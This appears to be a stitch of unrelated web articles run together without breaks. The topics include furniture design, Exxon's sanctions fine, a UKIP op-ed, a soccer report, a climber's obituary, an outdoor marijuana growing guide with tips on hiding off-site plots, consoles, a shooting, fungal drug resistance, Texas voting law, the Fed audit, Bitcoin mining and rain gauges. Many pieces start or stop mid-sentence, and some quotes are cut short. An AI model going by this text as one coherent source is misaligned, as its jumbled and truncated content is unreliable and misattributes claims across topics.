the surge of maximalist design as well, driving the creation of more unique, modern pieces that appeal to different tastes. While some manufacturers are still targeting high-net-worth consumers, other luxury companies are expanding their markets. Ligne Roset’s recent business strategy involves both urban and suburban consumers, and the company is building out an e-commerce arm, hoping to increase brand awareness. “Because of this, we’ve worked hard to make many of our designs customizable–in different upholsteries, colors, patterns, sizes, finishes, etc.–to suit many types of homes,” Roset says. The Middle East and Asia are becoming more and more important for the Italian design brand Cappellini. “In the past, these markets preferred classic furniture, but now the new globetrotter generations are very attentive to contemporary pieces of furniture,” founder Giulio Cappellini says. “In the global market, the boundary between design and decoration is always more and more fragile, and that is why nowadays design objects are less rigid in the shapes and more captivating in the use of materials.” The tension Cappellini teases–between design and decoration–can’t be ignored. Once someone has filled their home with essentials, they no longer need to buy new things. Appealing to impulses, as maximalism does, could also be interpreted as a consumerist strategy to get more people to buy more design.
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To some studios, that’s a dangerous strategy to take–a slippery slope to creating bad design and, ultimately, to creating waste. “This whole sense of commercialism around furniture as fashion and taking cues from the fashion world that every season is a new thing [is at the root of the problem],” Rossana Hu of the Shanghai-based multidisciplinary design firm Neri & Hu, told Co.Design during the 2016 edition of Salone. Right now, we’re grappling with a host of challenging political and environmental issues–the United States is launching missiles in Syria, excessive force and police brutality are running rampant even after high-profile cases exposing these systemic injustices, and there’s so much garbage in the ocean that scientists estimate it’ll outweigh all of the fish in just 30 years. Political and social awareness isn’t something for which the luxury design industry is known. That said, Moroso exhibited pieces at Salone fabricated by Danish-Icelandic artist Olafur Eliasson‘s Greenlight workshop–a creative education program targeted toward refugees, asylum seekers, and economic migrants. Additionally, a handful of designers referenced ’30s movements, like art deco and surrealism, which originated during an era fraught with a similar populist political climate as today. Maximalism is certainly a beautiful distraction, even if most of us can only momentarily experience the work through pictures, given their astronomical prices. It’s pure escapism, and a welcome break from the atrocities befalling the world. To some companies, design is even framed as a form of self-care. (An argument I find highly suspect.) “Design is often led by feeling,” Giulia Molteni, a spokesperson for the Italian brand Molteni&C, says. “And maximalist design invokes maximum senses. Bold color is not only for the eyes, it’s for the soul. Interesting materials and textures are not only felt, but also seen. Right now, our senses crave more, crave something different.” Design–like the economic, political, and social forces influencing it–travels in cycles. While maximalism is making a statement today, restraint will likely return when we need a palette cleanser. Sometimes less is more and sometimes less is a bore. But right now, I’m glad to see modern design embrace its expressive side.American and European sanctions were imposed on Russia in March 2014 after Moscow annexed Crimea from Ukraine. Even as the crisis in Ukraine deepened, Exxon continued to press for deeper involvement in Russia’s oil industry.
Mr. Tillerson expressed opposition to the sanctions, before they were tightened in late 2014. At Exxon’s annual meeting in 2014, he said, “We do not support sanctions, generally, because we don’t find them to be effective unless they are very well implemented comprehensively, and that’s a very hard thing to do.”
The State Department declined to comment on the penalty and referred questions to Exxon.
In a statement, Exxon called the penalty “fundamentally unfair.” The company also filed a lawsuit against the Treasury challenging the fine.
The company said it had adhered to guidance from the White House and the Treasury, and that its representatives had done nothing wrong by signing documents related to active business with Rosneft, which was not blocked by sanctions. Mr. Sechin was acting in an official capacity, Exxon said, not a personal one.
In its suit, Exxon argues that the Treasury penalty is out of sync with the guidance that the department and the White House provided when the sanctions were announced. The company also notes that BP’s American chief executive was allowed to participate in Rosneft board meetings with Mr. Sechin so long as the activity involved Rosneft business and not Mr. Sechin’s personal business.
A Treasury official said the penalty came after a multiyear investigation.
It was not the first time in recent months that Exxon has drawn attention for its handling of the Russia sanctions. In April, the company asked the Treasury for a waiver from sanctions against Russia so it could drill in the Black Sea in a venture with Rosneft, stirring speculation that Exxon hoped to influence the administration through its |
friendly photo" 3/8 Philip Hollobone MP for Kettering. Majority 9, 904. He said in 2013: “So many constituencies are now marginal because Ukip is now providing a fourth dynamic into what has previously been a three-party dynamic. I think we could end up with a situation where in selected seats, where the Conservative candidate or member of Parliament is in favour of leaving the EU, they would endorse him in those seats" Rex 4/8 David Nuttall MP for Bury North. Majority 2,243. Outspoken right-winger. Has said it would be “beneficial” if the Tories and Ukip could agree a “common programme” in order to unite the right in British politics Twitter 5/8 Nadine Dorries MP for Mid Bedfordshire. Majority 15,152. Lost Tory whip after appearing on ITV’s “I’m a Celebrity…Get Me Out of Here,” but later reinstated. Has said her constituents some constituents feel a "huge amount of empathy with Ukip". Hinted at standing on a joint ticket but denied she will defect PA 6/8 Jacob Rees-Mogg MP for Somerset North East. Majority 4,914. Independent-minded like Douglas Carswell. Has called for an electoral pact between Tories and Ukip. “There are many members of Ukip who are very close to the Conservative Party and there are many Conservatives to whom Ukip looks favourably,” he said in May David Hedges 7/8 Gordon Henderson MP for Sittingbourne and Sheppey. Majority 12,383. Wants Britain to leave the EU and admits he has been “sounded out” by Ukip. But insists the party has “no principles,” saying: “I’d sooner lose than be a turncoat” 8/8 Peter Bone MP for Wellingborough. Majority 11,787. Independent-minded backbencher who hates the Coalition. Has said: “Somehow the Conservatives and Ukip have got to work together and have some sort of [electoral] pact or accord” UPPA/Photoshot
I truly believe, as I said on the panel tonight, that most people would love access to a grammar school for their children. Following the recent Ofsted report that revealed that hundreds of thousands of children in Britain are being let down by a failing education system – it is time for an injection of some sense we learned a long time ago: grammar schools work.
One lady in the audience stated that she was bullied at a grammar school in Kent, because she was from the Midlands, and most people at her school were very middle class. It’s no wonder, given that most of the grammar schools across the country have been closed or converted, and now the only people who can afford to uproot and move nearer to one, in Kent, are middle class people with a little extra cash to spare. If you had a grammar school or two in every town in Britain, you’d actually get a lot more diversity in terms of the socio-economic background of the children who attend.
And that’s the point, isn’t it? Britain has swathes of talent within that is effectively being squandered by the policies of Labour and the Conservative parties. Our future is at risk because, instead of dealing with issues like wage compression, education, and our illogical membership of the European Union, we’re stuck with politicians tinkering around the edges. You can’t put a cigarette paper between the two, big, vested interest ridden parties nowadays. And that’s why, I think, people are attracted to Ukip.
But it’s also, probably, why people are attracted to Mr Brand’s “I’ll rant and rave but never stand for parliament myself” politics. Don’t vote. Don’t engage. What’s the point? You can see the logic. But morally, you can’t really justify it. You want change? Don’t bother to campaign for it. You loathe the establishment class? Spoil your ballot.
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No.This isn’t the way politics is done in this country. And I’ll be damned if a chest-hair obsessed Hollywood type tries to tell us it is.
There’s evidently a major choice for people ahead of the General Election in May next year, and, as ever, the Tories and Labour are trying to convince you it is all about the Tories and Labour. It’s not. The political landscape is changing in this country. Instead of one party that “weaponises” the NHS as a political tool (Labour) and another party that really, basically doesn’t have a policy either way (Conservative), we have other options this time around.
While I don’t buy much of this “rise of the Green Party” rhetoric, they are slightly more prominent in the media than they were five years ago. So are the SNP.
But if you really have had enough of the political elite. If you really have had enough of poor policy making, unchecked migration, unavailable school places, immense strain on the national services, our EU membership, our extraordinarily large foreign aid budget and more… then you don’t have to vote that way anymore.
But I know what you’re really reading this to hear. And that’s my take on Russell Brand. The leader of the revolution. The messiah of hipster, new media. The doyen of stock statements and half-funny jokes. Well I’ll tell you what I found out tonight: the messiah has feet of clay, and the revolution is not occurring on Mr Brand’s side – it’s happening with UKIP, and it’s happening fast.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowThe Portland Timbers (1-2-1, 4 points) returned to training Wednesday to begin preparations for Sunday's away game against the Los Angeles Galaxy (2-1-1, 7 points).
The Timbers are coming off a terrible 4-1 loss to Orlando City SC on the road Sunday and looking to rebound in Los Angeles.
On Wednesday, the media spoke with Timbers coach Caleb Porter and forward Fanendo Adi about the performance in Orlando, injuries and what the club has to do to get a result in Los Angeles. Here are the key points that came out of the interviews:
Porter said left back
Porter said that midfielder
Porter said that the team lacked chemistry and leadership on the road at Orlando on Sunday,
Porter said the club has especially struggled defensively this season without Ridgewell and
Adi said the club did not have its best game at Orlando in part because of the difficult travel and the fact that the group was missing five key starters to national team duty in the week leading up to the game: "We lost our focus," Adi said. "Physically, we weren't up to the task that day."
Even without Ridgewell on the field, Adi said the Timbers have plenty of players that can step up in leadership roles: "We just have to work as a team," Adi said.
-- Jamie Goldberg | jgoldberg@oregonian.com
503-853-3761 | @jamiebgoldbergLayton Kor and his son Arlan in Eldorado Canyon, Colorado, in 2012. Photo by Cameron Burns
4/22/13 - Layton Kor, one of the most prolific and accomplished American climbers of the 1960s, has died at age 74. Kor had suffered from kidney failure and prostate cancer. A resident of Kingman, Arizona, he died during the night of April 21.
Kor's name was virtually synonymous with Colorado climbing during the late 1950s and ’60s. Starting as a teenager in Eldorado Canyon, he put up many of the sandstone canyon's most famous and enduring classics, both free and aid, including Ruper (5.8+), Rosy Cruxifiction (5.10), The Naked Edge (5.11), and many, many more. He also did dozens of first ascents in Boulder Canyon, the Flatirons, Lumpy Ridge, Glenwood Canyon, and many other crags in Colorado. Original Kor pitons are still discovered today on obscure crags throughout the state.
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Kor on the cover of Climbing No. 2 (1970), leading the Salathé Wall in Yosemite.
Branching into the mountains and beyond, Kor did many new routes in Rocky Mountain National Park, the Black Canyon of the Gunnison, the desert Southwest (Castleton Tower, the Titan, Standing Rock), and Yosemite Valley (south face of Washington Column, West Buttress of El Capitan). He took his skills to foreign mountains on walls like the southeast face of Proboscis in Canada's Northwest Territories and the Harlin Directissima on the north face of the Eiger in Switzerland.
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Kor was still climbing into his early 70s, including the first ascent of a 150-foot tower in Arizona with friends Stewart Green, Dennis Jump, and Ed Webster. Cameron Burns, who is writing a biography on Kor, said, "If Layton got a nickel for every person who ever climbed one of his routes, he'd have been a wealthy man."
A new edition of Kor's classic book Beyond the Vertical, edited by Stewart Green with newly scanned photos, will be out in June.
Click here to read a Brendan Leonard guide to seven great Kor routes, both famous and lesser-known, from Climbing 291.
Date of death: April 21, 2013
Sources: Cameron Burns, climbing.comThe window display at Oxfam in Huntingdon The window display at Oxfam in Huntingdon
They were built by Oxfam volunteer Mike Addis, who also teaches part-time at Hinchingbrooke School, and are sitting in the window of the Oxfam bookshop.
Geoffrey Stalker, who manages the shop, said it took Mr Addis two months to build the daleks and a Tardis, which is in the window of the shop and they are to coincide with the new Dr Who series on television.
“People have been very excited by the whole thing and we have seen many more people coming into the shop and dropping off donations and traffic on our
Facebook page has also increased,” said Mr Stalker. “We believe the display is responsible for a 10 per cent increase in takings over the last couple of weeks.”
The daleks are a fictional extraterrestrial race of mutants created by the scientist Davros of the planet Skaro to be an emotionless master race.The primary concern for any outdoor grow operation is the amount of sunlight available. When choosing a location for a few plants, or even an entire garden plot, be sure that the area has near total sunshine throughout the day.
In the northern hemisphere, we say that outdoor gardens should have “southern exposure,” meaning that the garden is open mostly to the south, facing the sun’s archway throughout the day. Conversely, for those in the southern hemisphere, northern exposure is preferred due to the sun’s position in the sky relative to the Earth’s axis. Of course, for those cultivating plants closer to the equator, this is less of a concern, as the sun’s arc will pass directly overhead.
Water & Nutrients
Once you have selected your outdoor marijuana growing area, the next consideration will be its proximity to its caretakers. If the plants are on your property and easily accessible, you will have a lot more flexibility in terms of irrigating and feeding your garden.
Going outside (daily) to water your plants and add nutrients to your soil (on a twice-weekly basis) will not be an issue if your garden is nearby. However, if your plants are a considerable distance away, you may need to consider using a grow medium that can hold moisture for extended periods of time. In this situation you may choose to amend your soils with perlite, vermiculite or other water-absorbing additives.
For guerilla growers who need to hide their plants off-site, an irrigation system might be needed. In this case, look for plots with good sunlight that are also near a natural water source. While siphoning off water from natural sources for large gardens if often frowned upon, using natural water sources for a few plants to be hand-watered every other day should not impact the surrounding environment negatively.
Additionally, if your plants are farther away from your abode, you may choose to utilize time-release mineral pellets that dissolve over time and slowly release plant nutrients into the soil.
Of course, for gardens in your own backyard, it is better for the plants to use a mild nutrient solution made by dissolving organic nutrients in water and applying to the grow medium every third day.
Medium & Containers
It is entirely up to you whether you plant your garden directly into earth beds or utilize plant containers.
If you have chosen a specialty mixture or created a proprietary blend of mediums as your grow substrate, large container pots or bags are likely the best option. Container bags for outdoor gardens come in every size imaginable with some holding over 100 gallons of medium. These bags are made of durable fabric and usually have handles sewn on. The fabric bags are the best, as they offer much more breathability than their plastic counterparts.
Breathable containers such as these allow air to penetrate the root zone more easily, which is important for getting oxygen to the roots. While the plant itself breaths in CO2, the roots use O2 the most and do so during the nighttime (dark cycle).
It is important to remember that the larger the roots grow, the larger the plants will grow and that will equal much more yield come harvest time.
This is the distinct advantage that outdoor marijuana growing offers over indoor growing—there is no limitation on space or plant size outdoors. Outdoor plants can achieve heights of up to 14’ tall and yield anywhere from four to eight pounds per plantdepending on their final size and genetic potential.The Slate—with a design inspired by its analog predecessor, the student's drawing pad—embodies the desire to marry traditional paper drawing with the digital world.
Draw on your Slate and view your creations instantly on your screen via Bluetooth (iPad, iPhone) or USB (Mac, PC).
Draw like you always have by using a sheet of paper or your sketchpad. Once you place your sheet between the Slate's reference points, all you need to do is let your imagination run wild.
Designed for ultra-mobility
Easily take your Slate with you—anywhere, anytime. Light and compact, weighing just over 13 ounces (380 g) and with a thickness of just over 1/4" (0.7 cm), you'll easily be able to find a spot for it in your bag or in the wool felt sleeve, which we've specially designed to protect your Slate and iPad when you're on the go.
Enjoy complete freedom with Screenless mode.
Featuring a "screenless" mode, your Slate can operate as a completely standalone device thanks to its long battery life (7 hours of continuous use) and its 4 GB of internal memory (more than 400,000 sheets). Capture your ideas—wherever and whenever you want—and transfer your creations once you get home.Will the PS3 and the Xbox soon join the Atari 2600 and Colecovision?
There were once high hopes for video game consoles like the PlayStation 3, Xbox 360, and Wii: They could be not only advanced, dedicated game playing machines but also disc players, movie rental stores, music centers, and communications consoles -- so-called entertainment hubs.
But recently, it's begun to look as if the video game console's days are numbered.
And the beginning of the end was the iPhone.
The combination of technologies like motion and touch sensitivity in Apple's smartphone, as well as cheap, plentiful apps, meant it was easy to offer simple, addictive games that could be played while you waited to board a plane or cooled your heels in the doctor's office.
Console makers dismissed this trend as appealing only to "casual gamers," people who didn't want to invest the time or money to spend 3 hours hunched in front of their TVs playing Call of Duty.
The trouble was that all that casual gaming was siphoning eyeballs away from console games. In other words, consoles were losing their core audience to touch-screen phones on planes, trains, and automobiles.
It was cheaper for game makers to create titles for smartphones than consoles, too. A single traditional video game such as God of War might cost millions and take years to make; an iPhone game could be made for tens of thousands and be written in weeks, according to SGN, the makers of iBowl and F.A.S.T.
In the future, even hardcore games may leapfrog the consoles. Onlive, which already rents games like Fear 3 online to computer users, is planning to offer the same subscription-based service for tablets such as the iPad and models based on Google's Android software -- it may even build its service into some new TVs. Monthly subscriptions start at $9.99 and many gamers seem happy to dispense with the discs, just as they've abandoned CDs. The console itself could be next.
If this trend sounds familiar, it should.
Consoles have already been wounded by streaming services such as Netflix and Pandora. Sony's PlayStation and Microsoft's Xbox were trying to expand their appeal by offering on-demand (meaning pay-per-play) movies and videos. But why pay $4.99 per movie from Sony when you can get thousands from Netflix for just $7.99 a month?
Netflix now accounts for nearly a third of all download Internet traffic in the U.S., according to researchers at Sandvine That's traffic Sony, Microsoft and Nintendo dearly wish they had.
Of course, the big video game boxes and their corporate backers still have some big technological sticks to wield, but so far that hasn't mattered. Sony has PlayStation Home, for example, an immersive, online 3D environment that makes Second Life look downright paleolithic, but the company didn't leverage it quickly enough.
Meanwhile, the PlayStation's 3D capabilities have been hamstrung by the lack of 3D Blu-ray titles and the high price of 3D TVs, which failed to entice buyers.
Also slow to react to changing trends is Microsoft. Its Kinect adapter for the XBox 360 is a true game changer, the fastest selling consumer electronics device ever, according to Guinness World Records. But at the E3 gaming show earlier this month, Microsoft failed to follow up.
Its don't-let-Google-have-it, $8.5-billion purchase of Skype may change that, of course.
Nintendo did reveal a new video game console at E3, but it may be too little, too late. The new Wii U includes a controller with a 6.2-inch touch screen that seems to be aping the iPad. But the company isn't expected to introduce it until next spring. By that time many may wonder, why buy a new game machine with a touch screen when I already have a fully-fledged tablet sitting on my coffee table?
Tablets and smartphones also have the distinct advantage of being portable. Of course, Nintendo has the 3D-capable 3DS and Sony is coming out with a new handheld gamer called Vita by the holidays. Certainly there's room for some dedicated portable game devices, but consider what's happened to camcorders, cameras, and MP3 players: many of us just use our smartphones to do it all now.
So is this the last hurrah video game consoles? Only time and technology will tell. In the meantime, I'll go back to playing Angry Birds.
Follow John R. Quain on Twitter @jqontech or find more tech coverage at J-Q.com.A man in Beverly Hills, Fla., killed another man Thursday night after a road rage incident escalated into violence, WTSP reports.
According to Citrus County Sheriff deputies, Robert Doyle, 51, and Candeleria Gonzalez, 44, had an "aggressive interaction" on an area roadway and Gonzalez followed to Doyle to his residence.
Gonzalez exited his vehicle and Doyle approached him, WTSP reports. Doyle told police that Gonzalez "threatened to kick his ass," so he fired his weapon as Gonzalez continued to come toward him. Doyle fired several shots, fatally wounding Gonzalez. Doyle then pointed the gun at Gonzalez’s wife, child and grandson “and held them at gunpoint until police arrived."
A witness told deputies they saw Gonzalez backing away when Doyle pulled the gun, according to WTSP.
WTSP reports that on the tape of the 911 call, police say Doyle can be heard saying he is going to shoot the victim in the head and Gonzalez’s wife repeatedly says "don't shoot."
Gonzalez’s wife told police that her husband was attempting to get Doyle's address when he was shot. She said he wanted to file a complaint with police about Doyle's actions during the road rage incident.
Doyle faces charges of second degree murder and three counts of aggravated assault with a deadly weapon.Researchers believe widespread use of fungicides on crops is reducing effectiveness of frontline medicines
Scientists have warned that potentially deadly fungal infections are acquiring resistance to many of the medicines currently used to combat them. More than a million people die of fungal infections every year, including about 7,000 in the UK, and deaths are likely to increase as resistance continues to rise.
Researchers say the widespread use of fungicides on crops is one of the main causes of the rise in fungal resistance, which mirrors the rise of resistance to antibiotics used to treat bacterial infections in humans.
“There are close parallels between bacterial and fungal resistance, though the problems we face with the latter are particularly worrying,” said Prof Adilia Warris, a co-director of the newly opened Centre for Medical Mycology at Aberdeen University.
“There are more than 20 different classes of antibacterial agents. By contrast, there are only four classes of anti-fungal agents. Our armoury for dealing with deadly fungi is much smaller than the one we have for dealing with bacteria.
“We cannot afford to lose the few drugs we have – particularly as very little funding is being made available for research into fungi and fungal infections.”
Fungi cause a range of illnesses – such as thrush, athlete’s foot and dandruff – that can be treated relatively easily.
Other illnesses have more serious consequences. Individuals who are receiving bone marrow transplants and who are immune-suppressed can die of aspergillus and candida fungi infections, for example.
Another example of their grim potential was highlighted last week when doctors reported that a bagpipe player had died because deadly fungi had infected his pipes.
The total global number of fungal deaths is about the same as the number of deaths from malaria
“Fungi are everywhere,” said Prof Gordon Brown, head of the Aberdeen mycology centre.
“We breathe in more than 100 spores of aspergillus every day. Normally our immune systems mop them up but, when our disease defences are compromised – for example, during cancer treatments or after traumatic injuries – they lose the ability to fight back.
“Fungi can spread through patients’ bodies and into their spines and brains. Patients who would otherwise survive treatments are dying every year from such infections.”
This point was also stressed by Prof Neil Gow, another Aberdeen researcher. “Essentially fatal fungal infections are diseases of the diseased,” he said.
In addition, premature babies and patients with the inherited condition cystic fibrosis are also vulnerable.
However, the problem is even worse in developing countries. In sub-Saharan nations, where millions are infected with HIV – which causes severe depletion of patients’ immune systems – infections with cryptococcus and pneumocystis fungi account for more than half a million deaths a year.
“The total global number of fungal deaths is about the same as the number of deaths from malaria but the amount that is spent on fungal infection research is only a fraction of the cash that goes on malaria research,” added Gow.
A vaccine that could protect against fungal disease has yet to be developed, while the rise of resistance to the class of medicines known as azole drugs is causing alarm among doctors.
Recent reports from the US and Europe indicate that resistance to azole drugs is increasing in both aspergillus and candida fungi. The widespread use of agricultural fungicides to protect crops and their use in some paints and coatings has been linked to the rise of this resistance.
It’s time for drastic action on drug-resistant microbes Read more
Doctors have recently uncovered another worrying development: outbreaks of fungal infections – mainly cryptococcus – that have appeared in previously healthy people. In one outbreak, in the northwest US, dozens of people died.
In the wake of these developments, it was decided by Britain’s Medical Research Council to open its Aberdeen mycology centre earlier this year.
It will employ experts in the field to gain new understanding of how fungi move into the human body and survive there. It will also work on the development of new drugs and tests for pinpointing specific fungi that are infecting patients.
“Fungal infections are going to be an increasing problem in coming years and we need to develop the best defences,” said Brown. “We aim to do that here.”With such a large roster of games available for Nintendo 3DS right now, players may find it difficult to decide which one to go for next. Starting from tomorrow (23rd April) Nintendo Europe will be launching the So Many Games! Promotion on a select range of top Nintendo 3DS titles to help them choose.
Players simply need to register any three of eight top Nintendo 3DS titles with Club Nintendo by 30th June 2013, and they will be able to claim a free download code of their most-wanted game from the range for FREE. They can choose one of the remaining five titles to enjoy playing on Nintendo 3DS themselves, or select one they’ve already registered for the promotion to give to a friend to either share the fun, or experience some exciting multiplayer action!
There are eight top Nintendo 3DS games eligible in this promotion:
Castlevania: Lords of Shadow – Mirror of Fate
Monster Hunter 3 Ultimate (Nintendo 3DS version)
Luigi’s Mansion 2
Fire Emblem: Awakening
LEGO CITY Undercover: The Chase Begins
Pokémon Mystery Dungeon: Gates to Infinity
Donkey Kong Country Returns 3D
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Baltimore Orioles Postseason Championship Series
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4Last week a federal judge in Texas overturned that state's voter ID law, while a federal appeals court declined to reconsider its decision upholding part of a Texas abortion law enacted last year. Whether or not these statutes are ultimately deemed constitutional, they illustrate how politicians use trumped-up threats to conceal ulterior motives, a habit that makes honest debate impossible.
Republicans rushed the voter ID law through the Texas House and Senate in 2011 under extraordinary rules after Gov. Rick Perry declared a legislative "emergency." As with a similar declaration that New York Gov. Andrew Cuomo used to grease the skids for gun control legislation last year, the nature of this emergency was never clear.
In-person voter fraud, the only kind that the new ID requirements might help prevent, is a risky crime with little payoff. Not surprisingly, it seems to happen very rarely.
As U.S. District Judge Nelva Gonzales Ramos notes in an opinion issued last week, just two people were convicted of trying to impersonate someone else at the polls in Texas during the decade before the voter ID law was passed. Nationwide, according to a study by Lorraine Minnite, a professor of public policy at Rutgers University, there were 10 such cases between 2000 and 2010. There is no credible evidence that the problem is on the rise, let alone that it constitutes an emergency in Texas or anywhere else.
Still, what's the downside of requiring voters to produce a state-approved photo ID? As Ramos emphasizes in concluding that the Texas law violates the 14th Amendment, the financial and logistical burdens it imposes, which effectively disenfranchise more than half a million voters, fall disproportionately on blacks and Hispanics, largely because they are especially likely to be poor.
For Republicans, that is a feature, not a bug, since blacks and Hispanics overwhelmingly vote for Democrats. Hence the otherwise puzzling pattern in which Republicans across the country seem to be so worried about voter fraud, while Democrats apparently do not care about it at all.
Another puzzle: Why are conservative Republicans who oppose abortion trying so hard to make the procedure as safe as possible? Gov. Perry provided a clue last March, after the U.S. Court of Appeals for the 5th Circuit upheld a rule requiring every physician who works at an abortion clinic to have admitting privileges at a hospital within 30 miles of the clinic.
"The people of Texas have spoken through their elected leaders and in support of protecting the culture of life in our state," Perry said. "Today's court decision is good news for Texas women and the unborn, and we will continue to fight for the protection of life and women's health in Texas."
Whoops. Perry apparently forgot that he is supposed to pretend the new abortion regulations—which also include a prohibitively expensive mandate that abortion clinics meet the same requirements as ambulatory surgery centers—are all about protecting women's health, as opposed to discouraging abortions by making them harder to obtain.
Perry's mistake is understandable, because the official rationale for the law is highly implausible. "Before the act's passage," U.S. District Judge Lee Yeakel noted in an August 29 decision, "abortion in Texas was extremely safe, with particularly low rates of serious complications and virtually no deaths occurring on account of the procedure."
Furthermore, Yeakel concluded based on expert testimony, there is little reason to believe the new regulations will make abortions any safer. By contrast, they seem to be quite effective at making abortions harder to get: After the rules began taking effect last August, the number of clinics in Texas plummeted from more than 40 to eight.
You can see why Perry views the regulations as a boon for "the unborn" and "the culture of life." Meanwhile, to make sure the law passes constitutional muster, the state officially denies any such motive. That trick may very well work, but this sort of dishonesty is politically poisonous.Veil of secrecy lifted at the Fed
By: Senator Bernie Sanders
For over three and a half years, Vermonters and people throughout this country have experienced the worst economic crisis since the Great Depression. Millions of Americans, through no fault of their own, have lost their jobs, homes, life savings and ability to send their kids to college. Small businesses have been unable to get the credit they need to expand their businesses, and credit is still extremely tight. Wages as a share of national income are now at the lowest level since the Great Depression with workers who still have jobs working longer hours for lower wages.
Meanwhile, when small business owners and Vermonters were being turned down for loans at private banks, the Federal Reserve provided trillions of dollars in loans at nearly zero interest to the largest financial institutions, major corporations and some of the wealthiest people in the world with virtually no strings attached.
More than two years ago, I asked Ben Bernanke, the chairman of the Federal Reserve, a few simple questions that I thought the American people had a right to know: Who did the Fed bail out? How much did they receive? What were the terms of this assistance?
Incredibly, the chairman of the Fed refused to answer these fundamental questions about how trillions of taxpayer dollars were being put at risk.
Thanks to an amendment that I included in the Wall Street Reform and Consumer Protection Act to audit and investigate the Fed, the American people are finally getting answers to these questions.
A few days ago, the nonpartisan Government Accountability Office completed the first independent investigation into the emergency actions taken by the Federal Reserve. As a result of this investigation, we now know that the Federal Reserve provided a jaw-dropping $16 trillion in total financial assistance to some of the largest financial institutions and corporations in the world.
Among the investigation's key findings is that the Fed unilaterally provided trillions of dollars in financial assistance to foreign banks and corporations from South Korea to Scotland. In my view, no agency of the United States government should be allowed to bail out a foreign bank or corporation without the direct approval of Congress and the president.
The GAO also determined that the Fed lacks a comprehensive system to deal with conflicts of interest, despite the serious potential for abuse. In fact, according to the report, the Fed provided conflict-of-interest waivers to employees and private contractors so they could keep investments in the same financial institutions and corporations that were given emergency loans.
For example, the CEO of JP Morgan Chase served on the New York Fed's board of directors at the same time that his bank received more than $390 billion in financial assistance from the Fed. Moreover, JP Morgan Chase served as one of the clearing banks for the Fed's emergency lending programs.
The GAO investigation also revealed that the Fed outsourced virtually all of the operations of its emergency lending programs to private contractors like JP Morgan Chase, Morgan Stanley and Wells Fargo. The same firms also received trillions of dollars in Fed loans at near-zero interest rates. Altogether some two-thirds of the contracts that the Fed awarded to manage its emergency lending programs were no-bid contracts. Morgan Stanley was given the largest no-bid contract, worth $108.4 million, to help manage the Fed bailout of AIG.
Getting this type of disclosure was not easy. Wall Street and the Federal Reserve fought it every step of the way. But, as difficult as it was to lift the veil of secrecy at the Fed, it will be even harder to reform the Fed so that it is more responsive to the needs of ordinary Vermonters and small business owners. One thing is abundantly clear: Vermonters and people throughout this country deserve a government that works for them, not just the CEOs on Wall Street.
The Fed Audit Statement
GAO Report: Federal Reserve SystemWhen I started @pouringinMelb (which has spawned @pouringinSydney and @pouringinHobart and an app is in the works), it was because it was something I wanted. So I figure if I wanted it, then someone else might be interested.
And now, with the same thoughts in mind, I have decided to start a podcast. I don’t think I have a good voice for such things and I’ve never been on the radio, nor done anything involving radio or podcasting but after exhausting the list of local podcasts I found myself wanting more beer related listenings with a local (Australian and NZ) lean.
I toyed around trying my phone as a recording device, then looked at using my DJ mixer (Rane Empath for any gear nerds out there) and purchasing some microphones, then talked to some people with podcasts to find out what they used. And just as I was about to pull the trigger on some equipment, my girlfriend mentioned they have a full studio at her work that is free on weekends.
She offered to look after the recording/producing.
Then I thought I needed a co-host who has a flexible schedule and liked beer as much as me. So I asked my friend Dave who I’ve enjoyed talking beer with immensely in the past. He was keen and we gave it a shot.
it turned out far better than I expected. The first episode sounds where I’d hoped to be after maybe a year of doing it.
So here we are with an iTunes approved, fully fledged podcast. This link should take you there: https://itunes.apple.com/au/podcast/ale-of-a-time/id764214563 (I don’t use iTunes… in fact my Chromebook can’t even run itunes, so I hope that works).
On Podbean: http://aleofatime.podbean.com/ – you can RSS subscribe there, or just listen in. Whatever, no pressure.
Or stream from here:
If you like it, and use iTunes, give us a rating and review. Subscribe. Tell your friends, co-workers and lovers.
We’ve been told the bass was too loud, which we will amend, but any other feedback, we would love to hear it.
We hope to make this fortnightly. with one more before Christmas and then back full time early in the new year.The distribution of Bitcoin hashing power is one of the most debated subjected among the Bitcoin community members. Recent reports of Bitmain’s upcoming mining facility has got people talking about the increasing dominance of Chinese mining pools in terms of hashing power. The announcement also garnered a reaction from Peter Todd, one of the well-known names in the Bitcoin development community.
In his Twitter reaction to reports of new upcoming 140,000 kW Bitmain mining facility in Xinjiang on Chinese Bitcoin forums, he said:
Todd’s response is in line with the concerns of rapid centralization of Bitcoin network, which may shake the very foundation upon which the cryptocurrency is built on.
In response to the allegations of increased dominance of the Bitcoin network by the Chinese Bitcoin mining equipment manufacturer, the company has since then clarified that it will be holding a minor share in the new 45 room facility. Other miners, individuals or companies will be the major shareholders in the facility. Bitmain’s response was in the form of a two-part tweet reading,
“We own only a minor share in that planned facility. A majority is owned by other miners who can mine bitcoin or any altcoin with any hardware they prefer.”
According to available information, the Bitmain Cloud Computing Center in Xinjiang, Mainland China will be a 45 room facility with three internal filters maintaining a clean environment. The 140,000 kW facility will also include independent substations and office space.
Building data |
retailers like Walmart, Best Buy or Target,” Ferguson writes. “Uniquely among legislatures in the developed world, U.S. congressional parties now post prices for key slots in the lawmaking process.” The legislators who contribute the most funds to the party get the posts.
The result, according to Ferguson, is that debates “rely heavily on the endless repetition of a handful of slogans that have been battle-tested for their appeal to national investor blocs and interest groups that the leadership relies on for resources.” The country be damned.
Before the 2007 crash for which they were largely responsible, the new post-Golden Age financial institutions had gained startling economic power, more than tripling their share of corporate profits. After the crash, a number of economists began to inquire into their function in purely economic terms. Nobel laureate Robert Solow concludes that their general impact may be negative: “The successes probably add little or nothing to the efficiency of the real economy, while the disasters transfer wealth from taxpayers to financiers.”
By shredding the remnants of political democracy, the financial institutions lay the basis for carrying the lethal process forward—as long as their victims are willing to suffer in silence.Everybody complains about the weather, but nobody does anything about it, a famous person once quipped, but that’s not entirely true: We measure the weather like crazy, and measurement is the first step to control.
Every morning, for example, I check a rain gauge next to my driveway and post the result online. There, it joins tallies from as many as 10,000 locations throughout the U.S. and Canada – including, most mornings, a reading taken by sixth-graders at a school in Strafford.
“The kids are very excited to go out when we get any rainfall, to see what we’ve got,” said Bruce Larson, an Earth sciences teacher who has overseen the Strafford School project for three years.
Larson and I aren’t merely rain geeks – we’re participants in a huge “citizen science” program with the dreadful name CoCoRaHS. And you can join us.
